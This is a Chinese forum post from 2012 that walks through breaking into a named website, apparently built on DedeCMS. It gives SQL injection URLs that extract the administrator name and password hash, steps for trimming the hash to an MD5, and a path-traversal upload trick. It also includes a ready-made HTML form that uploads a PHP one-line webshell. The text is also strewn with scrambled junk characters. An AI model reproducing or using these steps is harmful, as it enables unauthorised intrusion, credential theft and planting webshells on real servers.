①注入漏洞。
8 x* A/ v# Y. C" i( ?8 j- S这站 http://www.political-security.com/
' h: |' n p$ n6 i. l! \2 F首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，3 ?2 [4 @$ t7 j% t
www.political-security.com/data/mysql_error_trace.inc 爆后台- B3 c6 J. H9 J& k
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。1 F7 C+ w2 ^; a5 h+ v) B
然后写上语句 + f4 m8 h; y1 f1 F6 a
查看管理员帐号$ o! n" i! |3 e- L
http://www.political-security.co ... &membergroup=@`
( K& Z* g- H7 R" Z! g/ _
. J- N0 B S( B9 D& Qadmin # t- _4 z8 E4 U' @
4 H$ C4 p& S% j5 a0 e- O
查看管理员密码
! D! k' q& e8 B ]; n http://www.political-security.co ... &membergroup=@`
, [8 m% k' i% u }. ~8 ^, v$ F: v; _3 \4 i, v& k
8d29b1ef9f8c5a5af429# { _5 O! B# e1 v( T- R# I" b( J$ G
! U O6 I4 G3 c% j; E2 U
查看管理员密码' q# V: d3 i8 C0 x& E$ H6 a
' ~) W/ a% i" E( {) h3 h6 B
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5# v/ `( s+ M# i, B- W
. U0 M2 u* w4 y; b8d2$ }9 R# q* ]3 H' Y) K6 T
9b1ef9f8c5a5af42
" l0 A6 j+ |" i& U9
) [7 L3 P) g- Q; I j2 p6 N! C5 c/ }% g6 t, u1 y
cmd5没解出来 只好测试第二个方法; _& t6 ~: n% Z* q& i8 l7 a% D+ v
7 P; M: {+ _* v# e& W G/ U" f- j$ ]% G; r. z3 j# I
②上传漏洞：
( [ f; R* Z: [5 i+ l
& ^5 ^5 n" ^8 `! e! l$ x9 W只要登陆会员中心，然后访问页面链接; x* ]* P% Y2 @) {% i8 D
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”* r" o& E7 S) T; r X
6 D+ |3 R' }; ^; R# A5 K8 z
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
6 i1 J i U; P4 t7 ?4 g y( R! K( r+ n) _) x. h4 i( C
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm' {0 u! h+ b Z0 |3 v/ _# G
# N. u; l" B& p% z3 o; b# g<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
0 W) b/ d0 _( Z+ Y或者* |$ e3 R; S3 H; w! W2 g1 _
即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对